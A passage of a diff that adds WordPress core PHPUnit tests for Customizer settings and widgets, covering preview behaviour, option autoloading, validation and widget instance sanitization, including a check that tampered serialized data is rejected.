+		$this->custom_type_data_saved[ $name ] = $value;
+	}
+
+	/**
+	 * Filter for `customize_value_{$id_base}`.
+	 *
+	 * @param mixed $default
+	 * @param WP_Customize_Setting $setting
+	 *
+	 * @return mixed|null
+	 */
+	function custom_type_value_filter( $default, $setting = null ) {
+		$name = preg_replace( '/^customize_value_/', '', current_filter() );
+		$this->assertInstanceOf( 'WP_Customize_Setting', $setting );
+		$id_data = $setting->id_data();
+		$this->assertEquals( $name, $id_data['base'] );
+		return $this->custom_type_getter( $name, $default );
+	}
+
+	/**
+	 * @param WP_Customize_Setting $setting
+	 */
+	function custom_type_preview( $setting ) {
+		$previewed_value = $setting->post_value( $this->undefined );
+		if ( $this->undefined !== $previewed_value ) {
+			$this->custom_type_data_previewed[ $setting->id ] = $previewed_value;
+		}
+	}
+	/**
+	 * Run assertions on custom settings.
+	 *
+	 * @see WP_Customize_Setting::preview()
+	 */
+	function test_preview_custom_type() {
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$type = 'custom_type';
+		$post_data_overrides = array(
+			"unset_{$type}_with_post_value" => "unset_{$type}_without_post_value\\o/",
+			"set_{$type}_with_post_value" => "set_{$type}_without_post_value\\o/",
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $post_data_overrides ) );
+
+		$this->custom_type_data_saved = array();
+		$this->custom_type_data_previewed = array();
+
+		add_action( "customize_preview_{$type}", array( $this, 'custom_type_preview' ) );
+
+		// Custom type not existing and no post value override.
+		$name = "unset_{$type}_without_post_value";
+		$default = "default_value_{$name}";
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need.
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ), 10, 2 );
+		$this->assertEquals( $this->undefined, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $default, $setting->value() );
+		$this->assertTrue( $setting->preview() );
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ) );
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $this->undefined, $this->custom_type_getter( $name, $this->undefined ) ); // Note: for a non-custom type this is $default
+		$this->assertEquals( $default, $setting->value() ); // Should be same as above.
+
+		// Custom type existing and no post value override.
+		$name = "set_{$type}_without_post_value";
+		$default = "default_value_{$name}";
+		$initial_value = "initial_value_{$name}";
+		$this->custom_type_setter( $name, $initial_value );
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need.
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ), 10, 2 );
+		$this->assertEquals( $initial_value, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $initial_value, $setting->value() );
+		$this->assertFalse( $setting->preview(), "Preview for $setting->id should not apply because existing type without an override." );
+		$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ), 'Zero preview actions because initial value is set with no incoming post value, so there is no preview to apply.' );
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $initial_value, $this->custom_type_getter( $name, $this->undefined ) ); // Should be same as above.
+		$this->assertEquals( $initial_value, $setting->value() ); // Should be same as above.
+
+		// Custom type deferred preview (setting post value after preview ran).
+		$override_value = "custom_type_value_{$name}_override_deferred_preview";
+		$this->manager->set_post_value( $setting->id, $override_value );
+		$this->assertEquals( $override_value, $this->custom_type_getter( $name, $this->undefined ) ); // Should be same as above.
+		$this->assertEquals( $override_value, $setting->value() ); // Should be same as above.
+
+		// Custom type not existing and with a post value override.
+		$name = "unset_{$type}_with_post_value";
+		$default = "default_value_{$name}";
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need.
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ), 10, 2 );
+		$this->assertEquals( $this->undefined, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $default, $setting->value() );
+		$this->assertTrue( $setting->preview() );
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ), 'One preview action now because initial value was not set and/or there is no incoming post value, so there is is a preview to apply.' );
+		$this->assertEquals( 3, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $setting->value() );
+
+		// Custom type not existing and with a post value override.
+		$name = "set_{$type}_with_post_value";
+		$default = "default_value_{$name}";
+		$initial_value = "initial_value_{$name}";
+		$this->custom_type_setter( $name, $initial_value );
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		// Note: #29316 will allow us to have one filter for all settings of a given type, which is what we need.
+		add_filter( "customize_value_{$name}", array( $this, 'custom_type_value_filter' ), 10, 2 );
+		$this->assertEquals( $initial_value, $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $initial_value, $setting->value() );
+		$this->assertTrue( $setting->preview() );
+		$this->assertEquals( 1, did_action( "customize_preview_{$setting->id}" ) );
+		$this->assertEquals( 4, did_action( "customize_preview_{$setting->type}" ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $this->custom_type_getter( $name, $this->undefined ) );
+		$this->assertEquals( $post_data_overrides[ $name ], $setting->value() );
+
+		// Custom type that does not handle supplying the post value from the customize_value_{$id_base} filter.
+		$setting_id = 'custom_without_previewing_value_filter';
+		$setting = $this->manager->add_setting( $setting_id, array(
+			'type' => 'custom_preview_test',
+			'default' => 123,
+			'sanitize_callback' => array( $this->manager->nav_menus, 'intval_base10' ),
+		) );
+
+		/*
+		 * In #36952 the conditions were such that get_theme_mod() be erroneously used
+		 * to source the root value for a custom multidimensional type.
+		 * Add a theme mod with the same name as the custom setting to test fix.
+		 */
+		set_theme_mod( $setting_id, 999 );
+		$this->assertSame( 123, $setting->value() );
+
+		$this->manager->set_post_value( $setting_id, '456' );
+		$setting->preview();
+		$this->assertSame( 456, $setting->value() );
+
+		unset( $this->custom_type_data_previewed, $this->custom_type_data_saved );
+		remove_theme_mod( $setting_id );
+	}
+
+	/**
+	 * Test specific fix for setting's default value not applying on preview window
+	 *
+	 * @ticket 30988
+	 */
+	function test_non_posted_setting_applying_default_value_in_preview() {
+		$type = 'option';
+		$name = 'unset_option_without_post_value';
+		$default = "default_value_{$name}";
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+		$this->assertEquals( $this->undefined, get_option( $name, $this->undefined ) );
+		$this->assertEquals( $default, $setting->value() );
+		$this->assertTrue( $setting->preview() );
+		$this->assertEquals( $default, get_option( $name, $this->undefined ), sprintf( 'Expected get_option(%s) to return setting default: %s.', $name, $default ) );
+		$this->assertEquals( $default, $setting->value() );
+	}
+
+	/**
+	 * Test setting save method for custom type.
+	 *
+	 * @see WP_Customize_Setting::save()
+	 * @see WP_Customize_Setting::update()
+	 */
+	function test_update_custom_type() {
+		$type = 'custom';
+		$name = 'foo';
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type' ) );
+		$this->manager->add_setting( $setting );
+		add_action( 'customize_update_custom', array( $this, 'handle_customize_update_custom_foo_action' ), 10, 2 );
+		add_action( 'customize_save_foo', array( $this, 'handle_customize_save_custom_foo_action' ), 10, 2 );
+
+		// Try saving before value set.
+		$this->assertTrue( 0 === did_action( 'customize_update_custom' ) );
+		$this->assertTrue( 0 === did_action( 'customize_save_foo' ) );
+		$this->assertFalse( $setting->save() );
+		$this->assertTrue( 0 === did_action( 'customize_update_custom' ) );
+		$this->assertTrue( 0 === did_action( 'customize_save_foo' ) );
+
+		// Try setting post value without user as admin.
+		$this->manager->set_post_value( $setting->id, 'hello world \\o/' );
+		$this->assertFalse( $setting->save() );
+		$this->assertTrue( 0 === did_action( 'customize_update_custom' ) );
+		$this->assertTrue( 0 === did_action( 'customize_save_foo' ) );
+
+		// Satisfy all requirements for save to happen.
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$this->assertNotFalse( $setting->save() );
+		$this->assertTrue( 1 === did_action( 'customize_update_custom' ) );
+		$this->assertTrue( 1 === did_action( 'customize_save_foo' ) );
+	}
+
+	/**
+	 * Check customize_update_custom action.
+	 *
+	 * @see Tests_WP_Customize_Setting::test_update_custom_type()
+	 * @param mixed $value
+	 * @param WP_Customize_Setting $setting
+	 */
+	function handle_customize_update_custom_foo_action( $value, $setting = null ) {
+		$this->assertEquals( 'hello world \\o/', $value );
+		$this->assertInstanceOf( 'WP_Customize_Setting', $setting );
+	}
+
+	/**
+	 * Check customize_save_foo action.
+	 *
+	 * @see Tests_WP_Customize_Setting::test_update_custom_type()
+	 * @param WP_Customize_Setting $setting
+	 */
+	function handle_customize_save_custom_foo_action( $setting ) {
+		$this->assertInstanceOf( 'WP_Customize_Setting', $setting );
+		$this->assertEquals( 'custom', $setting->type );
+		$this->assertEquals( 'foo', $setting->id );
+	}
+
+	/**
+	 * Ensure that is_current_blog_previewed returns the expected values.
+	 *
+	 * This is applicable to both single and multisite. This doesn't do switch_to_blog()
+	 *
+	 * @ticket 31428
+	 */
+	function test_is_current_blog_previewed() {
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$type = 'option';
+		$name = 'blogname';
+		$post_value = __FUNCTION__;
+		$this->manager->set_post_value( $name, $post_value );
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type' ) );
+		$this->assertFalse( $setting->is_current_blog_previewed() );
+		$this->assertTrue( $setting->preview() );
+		$this->assertTrue( $setting->is_current_blog_previewed() );
+
+		$this->assertEquals( $post_value, $setting->value() );
+		$this->assertEquals( $post_value, get_option( $name ) );
+	}
+
+	/**
+	 * Ensure that previewing a setting is disabled when the current blog is switched.
+	 *
+	 * @ticket 31428
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_previewing_with_switch_to_blog() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		$type = 'option';
+		$name = 'blogdescription';
+		$post_value = __FUNCTION__;
+		$this->manager->set_post_value( $name, $post_value );
+		$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type' ) );
+		$this->assertFalse( $setting->is_current_blog_previewed() );
+		$this->assertTrue( $setting->preview() );
+		$this->assertTrue( $setting->is_current_blog_previewed() );
+
+		$blog_id = self::factory()->blog->create();
+		switch_to_blog( $blog_id );
+		$this->assertFalse( $setting->is_current_blog_previewed() );
+		$this->assertNotEquals( $post_value, $setting->value() );
+		$this->assertNotEquals( $post_value, get_option( $name ) );
+		restore_current_blog();
+	}
+
+	/**
+	 * @ticket 33499
+	 */
+	function test_option_autoloading() {
+		global $wpdb;
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		$name = 'autoloaded1';
+		$setting = new WP_Customize_Setting( $this->manager, $name, array(
+			'type' => 'option',
+		) );
+		$value = 'value1';
+		$this->manager->set_post_value( $setting->id, $value );
+		$setting->save();
+		$autoload = $wpdb->get_var( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $setting->id ) );
+		$this->assertEquals( 'yes', $autoload );
+		$this->assertEquals( $value, get_option( $name ) );
+
+		$name = 'autoloaded2';
+		$setting = new WP_Customize_Setting( $this->manager, $name, array(
+			'type' => 'option',
+			'autoload' => true,
+		) );
+		$value = 'value2';
+		$this->manager->set_post_value( $setting->id, $value );
+		$setting->save();
+		$autoload = $wpdb->get_var( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $setting->id ) );
+		$this->assertEquals( 'yes', $autoload );
+		$this->assertEquals( $value, get_option( $name ) );
+
+		$name = 'not-autoloaded1';
+		$setting = new WP_Customize_Setting( $this->manager, $name, array(
+			'type' => 'option',
+			'autoload' => false,
+		) );
+		$value = 'value3';
+		$this->manager->set_post_value( $setting->id, $value );
+		$setting->save();
+		$autoload = $wpdb->get_var( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $setting->id ) );
+		$this->assertEquals( 'no', $autoload );
+		$this->assertEquals( $value, get_option( $name ) );
+
+		$id_base = 'multi-not-autoloaded';
+		$setting1 = new WP_Customize_Setting( $this->manager, $id_base . '[foo]', array(
+			'type' => 'option',
+		) );
+		$setting2 = new WP_Customize_Setting( $this->manager, $id_base . '[bar]', array(
+			'type' => 'option',
+			'autoload' => false,
+		) );
+		$this->manager->set_post_value( $setting1->id, 'value1' );
+		$this->manager->set_post_value( $setting2->id, 'value2' );
+		$setting1->save();
+		$autoload = $wpdb->get_var( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $id_base ) );
+		$this->assertEquals( 'no', $autoload, 'Even though setting1 did not indicate autoload (thus normally true), since another multidimensional option setting of the base did say autoload=false, it should be autoload=no' );
+	}
+
+	/**
+	 * Test js_value and json methods.
+	 *
+	 * @see WP_Customize_Setting::js_value()
+	 * @see WP_Customize_Setting::json()
+	 */
+	public function test_js_value() {
+		$default = "\x00";
+		$args = array(
+			'type' => 'binary',
+			'default' => $default,
+			'transport' => 'postMessage',
+			'dirty' => true,
+			'sanitize_js_callback' => array( $this, 'sanitize_js_callback_base64_for_testing' ),
+		);
+		$setting = new WP_Customize_Setting( $this->manager, 'name', $args );
+
+		$this->assertEquals( $default, $setting->value() );
+		$this->assertEquals( base64_encode( $default ), $setting->js_value() );
+
+		$exported = $setting->json();
+		$this->assertArrayHasKey( 'type', $exported );
+		$this->assertArrayHasKey( 'value', $exported );
+		$this->assertArrayHasKey( 'transport', $exported );
+		$this->assertArrayHasKey( 'dirty', $exported );
+		$this->assertEquals( $setting->js_value(), $exported['value'] );
+		$this->assertEquals( $args['type'], $setting->type );
+		$this->assertEquals( $args['transport'], $setting->transport );
+		$this->assertEquals( $args['dirty'], $setting->dirty );
+	}
+
+	/**
+	 * Test validate.
+	 *
+	 * @see WP_Customize_Setting::validate()
+	 */
+	public function test_validate() {
+		$setting = new WP_Customize_Setting( $this->manager, 'name', array(
+			'type' => 'key',
+			'validate_callback' => array( $this, 'filter_validate_for_test_validate' ),
+		) );
+		$validity = $setting->validate( 'BAD!' );
+		$this->assertInstanceOf( 'WP_Error', $validity );
+		$this->assertEquals( 'invalid_key', $validity->get_error_code() );
+	}
+
+	/**
+	 * Validate callback.
+	 *
+	 * @see Tests_WP_Customize_Setting::test_validate()
+	 *
+	 * @param WP_Error $validity Validity.
+	 * @param string   $value    Value.
+	 *
+	 * @return WP_Error
+	 */
+	public function filter_validate_for_test_validate( $validity, $value ) {
+		$this->assertInstanceOf( 'WP_Error', $validity );
+		$this->assertInternalType( 'string', $value );
+		if ( sanitize_key( $value ) !== $value ) {
+			$validity->add( 'invalid_key', 'Invalid key' );
+		}
+		return $validity;
+	}
+
+	/**
+	 * Ensure that WP_Customize_Setting::value() can return a previewed value for aggregated multidimensionals.
+	 *
+	 * @ticket 37294
+	 */
+	public function test_multidimensional_value_when_previewed() {
+		wp_set_current_user( $this->factory()->user->create( array( 'role' => 'administrator' ) ) );
+		WP_Customize_Setting::reset_aggregated_multidimensionals();
+
+		$initial_value = 456;
+		set_theme_mod( 'nav_menu_locations', array(
+			'primary' => $initial_value,
+		) );
+		$setting_id = 'nav_menu_locations[primary]';
+
+		$setting = new WP_Customize_Setting( $this->manager, $setting_id );
+		$this->assertEquals( $initial_value, $setting->value() );
+
+		$override_value = -123456;
+		$this->manager->set_post_value( $setting_id, $override_value );
+		$setting->preview();
+
+		$this->assertEquals( $override_value, $setting->value() );
+	}
+}
+
Index: /tags/5.0.20/tests/phpunit/tests/customize/widgets.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/widgets.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/widgets.php	(revision 56912)
@@ -0,0 +1,667 @@
+<?php
+
+/**
+ * Tests for the WP_Customize_Widgets class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Widgets extends WP_UnitTestCase {
+
+	/**
+	 * @var WP_Customize_Manager
+	 */
+	protected $manager;
+
+	/**
+	 * Stored global variable in setUp for restoration in tearDown.
+	 *
+	 * @see $wp_registered_sidebars
+	 * @var array
+	 */
+	protected $backup_registered_sidebars;
+
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+
+		add_theme_support( 'customize-selective-refresh-widgets' );
+		$user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		wp_set_current_user( $user_id );
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		$this->manager = $GLOBALS['wp_customize'];
+
+		unset( $GLOBALS['_wp_sidebars_widgets'] ); // clear out cache set by wp_get_sidebars_widgets()
+		$sidebars_widgets = wp_get_sidebars_widgets();
+		$this->assertEqualSets( array( 'wp_inactive_widgets', 'sidebar-1' ), array_keys( wp_get_sidebars_widgets() ) );
+		$this->assertContains( 'search-2', $sidebars_widgets['sidebar-1'] );
+		$this->assertContains( 'categories-2', $sidebars_widgets['sidebar-1'] );
+		$this->assertArrayHasKey( 2, get_option( 'widget_search' ) );
+		$widget_categories = get_option( 'widget_categories' );
+		$this->assertArrayHasKey( 2, $widget_categories );
+		$this->assertEquals( '', $widget_categories[2]['title'] );
+
+		$this->backup_registered_sidebars = $GLOBALS['wp_registered_sidebars'];
+
+		// Reset protected static var on class.
+		WP_Customize_Setting::reset_aggregated_multidimensionals();
+	}
+
+	function clean_up_global_scope() {
+		global $wp_widget_factory, $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
+
+		$wp_registered_sidebars = array();
+		$wp_registered_widgets = array();
+		$wp_registered_widget_controls = array();
+		$wp_registered_widget_updates = array();
+		$wp_widget_factory->widgets = array();
+
+		parent::clean_up_global_scope();
+	}
+
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		unset( $GLOBALS['wp_scripts'] );
+		$GLOBALS['wp_registered_sidebars'] = $this->backup_registered_sidebars;
+		parent::tearDown();
+	}
+
+	function set_customized_post_data( $customized ) {
+		$_POST['customized'] = wp_slash( wp_json_encode( $customized ) );
+		if ( $this->manager ) {
+			foreach ( $customized as $id => $value ) {
+				$this->manager->set_post_value( $id, $value );
+			}
+		}
+	}
+
+	function do_customize_boot_actions() {
+		$_SERVER['REQUEST_METHOD'] = 'POST';
+		$_REQUEST['nonce'] = wp_create_nonce( 'preview-customize_' . $this->manager->theme()->get_stylesheet() );
+		do_action( 'setup_theme' );
+		do_action( 'after_setup_theme' );
+		do_action( 'init' );
+		do_action( 'wp_loaded' );
+		do_action( 'wp', $GLOBALS['wp'] );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::__construct()
+	 */
+	function test_construct() {
+		$this->assertInstanceOf( 'WP_Customize_Widgets', $this->manager->widgets );
+		$this->assertEquals( $this->manager, $this->manager->widgets->manager );
+	}
+
+	/**
+	 * Test registering sidebars without an extant sidebars_widgets option.
+	 *
+	 * @see WP_Customize_Widgets::customize_register()
+	 * @see WP_Customize_Widgets::preview_sidebars_widgets()
+	 * @ticket 36660
+	 */
+	function test_customize_register_with_deleted_sidebars() {
+		$sidebar_id = 'sidebar-1';
+		delete_option( 'sidebars_widgets' );
+		register_sidebar( array( 'id' => $sidebar_id ) );
+		$this->manager->widgets->customize_register();
+		$this->assertEquals( array_fill_keys( array( 'wp_inactive_widgets', $sidebar_id ), array() ), wp_get_sidebars_widgets() );
+	}
+
+	/**
+	 * Tests WP_Customize_Widgets::get_selective_refreshable_widgets().
+	 *
+	 * @see WP_Customize_Widgets::get_selective_refreshable_widgets()
+	 */
+	function test_get_selective_refreshable_widgets_when_theme_supports() {
+		global $wp_widget_factory;
+		add_action( 'widgets_init', array( $this, 'override_search_widget_customize_selective_refresh' ), 90 );
+		add_theme_support( 'customize-selective-refresh-widgets' );
+		$this->do_customize_boot_actions();
+
+		$selective_refreshable_widgets = $this->manager->widgets->get_selective_refreshable_widgets();
+		$this->assertInternalType( 'array', $selective_refreshable_widgets );
+		$this->assertEquals( count( $wp_widget_factory->widgets ), count( $selective_refreshable_widgets ) );
+		$this->assertArrayHasKey( 'text', $selective_refreshable_widgets );
+		$this->assertTrue( $selective_refreshable_widgets['text'] );
+		$this->assertArrayHasKey( 'search', $selective_refreshable_widgets );
+		$this->assertFalse( $selective_refreshable_widgets['search'] );
+	}
+
+	/**
+	 * Tests WP_Customize_Widgets::get_selective_refreshable_widgets().
+	 *
+	 * @see WP_Customize_Widgets::get_selective_refreshable_widgets()
+	 */
+	function test_get_selective_refreshable_widgets_when_no_theme_supports() {
+		add_action( 'widgets_init', array( $this, 'override_search_widget_customize_selective_refresh' ), 90 );
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		$this->do_customize_boot_actions();
+		$selective_refreshable_widgets = $this->manager->widgets->get_selective_refreshable_widgets();
+		$this->assertEmpty( $selective_refreshable_widgets );
+	}
+
+	/**
+	 * Hook into widgets_init to override the search widget's customize_selective_refresh widget option.
+	 *
+	 * @see Tests_WP_Customize_Widgets::test_get_selective_refreshable_widgets_when_theme_supports()
+	 * @see Tests_WP_Customize_Widgets::test_get_selective_refreshable_widgets_when_no_theme_supports()
+	 */
+	function override_search_widget_customize_selective_refresh() {
+		global $wp_widget_factory;
+		$wp_widget_factory->widgets['WP_Widget_Search']->widget_options['customize_selective_refresh'] = false;
+	}
+
+	/**
+	 * Tests WP_Customize_Widgets::is_widget_selective_refreshable().
+	 *
+	 * @see WP_Customize_Widgets::is_widget_selective_refreshable()
+	 */
+	function test_is_widget_selective_refreshable() {
+		add_action( 'widgets_init', array( $this, 'override_search_widget_customize_selective_refresh' ), 90 );
+		add_theme_support( 'customize-selective-refresh-widgets' );
+		$this->do_customize_boot_actions();
+		$this->assertFalse( $this->manager->widgets->is_widget_selective_refreshable( 'search' ) );
+		$this->assertTrue( $this->manager->widgets->is_widget_selective_refreshable( 'text' ) );
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		$this->assertFalse( $this->manager->widgets->is_widget_selective_refreshable( 'text' ) );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::register_settings() with selective refresh enabled.
+	 *
+	 * @ticket 30988
+	 * @ticket 36389
+	 */
+	function test_register_settings() {
+		add_theme_support( 'customize-selective-refresh-widgets' );
+
+		$raw_widget_customized = array(
+			'widget_categories[2]' => array(
+				'title' => 'Taxonomies Brand New Value',
+				'count' => 0,
+				'hierarchical' => 0,
+				'dropdown' => 0,
+			),
+			'widget_search[3]' => array(
+				'title' => 'Not as good as Google!',
+			),
+		);
+		$customized = array();
+		foreach ( $raw_widget_customized as $setting_id => $instance ) {
+			$customized[ $setting_id ] = $this->manager->widgets->sanitize_widget_js_instance( $instance );
+		}
+
+		$this->set_customized_post_data( $customized );
+		$this->do_customize_boot_actions();
+		$this->assertTrue( is_customize_preview() );
+
+		if ( current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
+			$expected_transport = 'postMessage';
+			$this->assertNotEmpty( $this->manager->widgets->get_selective_refreshable_widgets() );
+		} else {
+			$expected_transport = 'refresh';
+			$this->assertEmpty( $this->manager->widgets->get_selective_refreshable_widgets() );
+		}
+
+		$setting = $this->manager->get_setting( 'widget_categories[2]' );
+		$this->assertNotEmpty( $setting, 'Expected setting for pre-existing widget category-2, being customized.' );
+		$this->assertEquals( $expected_transport, $setting->transport );
+
+		$setting = $this->manager->get_setting( 'widget_search[2]' );
+		$this->assertNotEmpty( $setting, 'Expected setting for pre-existing widget search-2, not being customized.' );
+		$this->assertEquals( $expected_transport, $setting->transport );
+
+		$setting = $this->manager->get_setting( 'widget_search[3]' );
+		$this->assertNotEmpty( $setting, 'Expected dynamic setting for non-existing widget search-3, being customized.' );
+		$this->assertEquals( $expected_transport, $setting->transport );
+
+		$widget_categories = get_option( 'widget_categories' );
+		$this->assertEquals( $raw_widget_customized['widget_categories[2]'], $widget_categories[2], 'Expected $wp_customize->get_setting(widget_categories[2])->preview() to have been called.' );
+	}
+
+	/**
+	 * Test registering settings without selective refresh enabled.
+	 *
+	 * @ticket 36389
+	 */
+	function test_register_settings_without_selective_refresh() {
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		$this->test_register_settings();
+	}
+
+	/**
+	 * Test registering settings with selective refresh enabled at a late after_setup_theme action.
+	 *
+	 * @ticket 36389
+	 */
+	function test_register_settings_with_late_theme_support_added() {
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		add_action( 'after_setup_theme', array( $this, 'add_customize_selective_refresh_theme_support' ), 100 );
+		$this->test_register_settings();
+	}
+
+	/**
+	 * Add customize-selective-refresh-widgets theme support.
+	 */
+	function add_customize_selective_refresh_theme_support() {
+		add_theme_support( 'customize-selective-refresh-widgets' );
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::get_setting_args()
+	 */
+	function test_get_setting_args() {
+		add_theme_support( 'customize-selective-refresh-widgets' );
+		$this->do_customize_boot_actions();
+
+		add_filter( 'widget_customizer_setting_args', array( $this, 'filter_widget_customizer_setting_args' ), 10, 2 );
+
+		$default_args = array(
+			'type' => 'option',
+			'capability' => 'edit_theme_options',
+			'transport' => 'refresh',
+			'default' => array(),
+			'sanitize_callback' => array( $this->manager->widgets, 'sanitize_widget_instance' ),
+			'sanitize_js_callback' => array( $this->manager->widgets, 'sanitize_widget_js_instance' ),
+		);
+		$args = $this->manager->widgets->get_setting_args( 'widget_foo[2]' );
+		foreach ( $default_args as $key => $default_value ) {
+			$this->assertEquals( $default_value, $args[ $key ] );
+		}
+		$this->assertEquals( 'WIDGET_FOO[2]', $args['uppercase_id_set_by_filter'] );
+
+		$default_args = array(
+			'type' => 'option',
+			'capability' => 'edit_theme_options',
+			'transport' => 'postMessage',
+			'default' => array(),
+			'sanitize_callback' => array( $this->manager->widgets, 'sanitize_widget_instance' ),
+			'sanitize_js_callback' => array( $this->manager->widgets, 'sanitize_widget_js_instance' ),
+		);
+		$args = $this->manager->widgets->get_setting_args( 'widget_search[2]' );
+		foreach ( $default_args as $key => $default_value ) {
+			$this->assertEquals( $default_value, $args[ $key ] );
+		}
+
+		remove_theme_support( 'customize-selective-refresh-widgets' );
+		$args = $this->manager->widgets->get_setting_args( 'widget_search[2]' );
+		$this->assertEquals( 'refresh', $args['transport'] );
+		add_theme_support( 'customize-selective-refresh-widgets' );
+
+		$override_args = array(
+			'type' => 'theme_mod',
+			'capability' => 'edit_posts',
+			'transport' => 'postMessage',
+			'default' => array( 'title' => 'asd' ),
+			'sanitize_callback' => '__return_empty_array',
+			'sanitize_js_callback' => '__return_empty_array',
+		);
+		$args = $this->manager->widgets->get_setting_args( 'widget_bar[3]', $override_args );
+		foreach ( $override_args as $key => $override_value ) {
+			$this->assertEquals( $override_value, $args[ $key ] );
+		}
+		$this->assertEquals( 'WIDGET_BAR[3]', $args['uppercase_id_set_by_filter'] );
+
+		$default_args = array(
+			'type' => 'option',
+			'capability' => 'edit_theme_options',
+			'transport' => 'postMessage',
+			'default' => array(),
+			'sanitize_callback' => array( $this->manager->widgets, 'sanitize_sidebar_widgets' ),
+			'sanitize_js_callback' => array( $this->manager->widgets, 'sanitize_sidebar_widgets_js_instance' ),
+		);
+		$args = $this->manager->widgets->get_setting_args( 'sidebars_widgets[sidebar-1]' );
+		foreach ( $default_args as $key => $default_value ) {
+			$this->assertEquals( $default_value, $args[ $key ] );
+		}
+		$this->assertEquals( 'SIDEBARS_WIDGETS[SIDEBAR-1]', $args['uppercase_id_set_by_filter'] );
+
+		$override_args = array(
+			'type' => 'theme_mod',
+			'capability' => 'edit_posts',
+			'transport' => 'postMessage',
+			'default' => array( 'title' => 'asd' ),
+			'sanitize_callback' => '__return_empty_array',
+			'sanitize_js_callback' => '__return_empty_array',
+		);
+		$args = $this->manager->widgets->get_setting_args( 'sidebars_widgets[sidebar-2]', $override_args );
+		foreach ( $override_args as $key => $override_value ) {
+			$this->assertEquals( $override_value, $args[ $key ] );
+		}
+		$this->assertEquals( 'SIDEBARS_WIDGETS[SIDEBAR-2]', $args['uppercase_id_set_by_filter'] );
+	}
+
+	function filter_widget_customizer_setting_args( $args, $id ) {
+		$args['uppercase_id_set_by_filter'] = strtoupper( $id );
+		return $args;
+	}
+
+	/**
+	 * Test WP_Customize_Widgets::sanitize_widget_js_instance() and WP_Customize_Widgets::sanitize_widget_instance()
+	 */
+	function test_sanitize_widget_js_instance() {
+		$this->do_customize_boot_actions();
+
+		$new_categories_instance = array(
+			'title' => 'Taxonomies Brand New Value',
+			'count' => '1',
+			'hierarchical' => '1',
+			'dropdown' => '1',
+		);
+
+		$sanitized_for_js = $this->manager->widgets->sanitize_widget_js_instance( $new_categories_instance );
+		$this->assertArrayHasKey( 'encoded_serialized_instance', $sanitized_for_js );
+		$this->assertTrue( is_serialized( base64_decode( $sanitized_for_js['encoded_serialized_instance'] ), true ) );
+		$this->assertEquals( $new_categories_instance['title'], $sanitized_for_js['title'] );
+		$this->assertTrue( $sanitized_for_js['is_widget_customizer_js_value'] );
+		$this->assertArrayHasKey( 'instance_hash_key', $sanitized_for_js );
+
+		$corrupted_sanitized_for_js = $sanitized_for_js;
+		$corrupted_sanitized_for_js['encoded_serialized_instance'] = base64_encode( serialize( array( 'title' => 'EVIL' ) ) );
+		$this->assertNull( $this->manager->widgets->sanitize_widget_instance( $corrupted_sanitized_for_js ), 'Expected sanitize_widget_instance to reject corrupted data.' );
+
+		$unsanitized_from_js = $this->manager->widgets->sanitize_widget_instance( $sanitized_for_js );
+		$this->assertEquals( $unsanitized_from_js, $new_categories_instance );
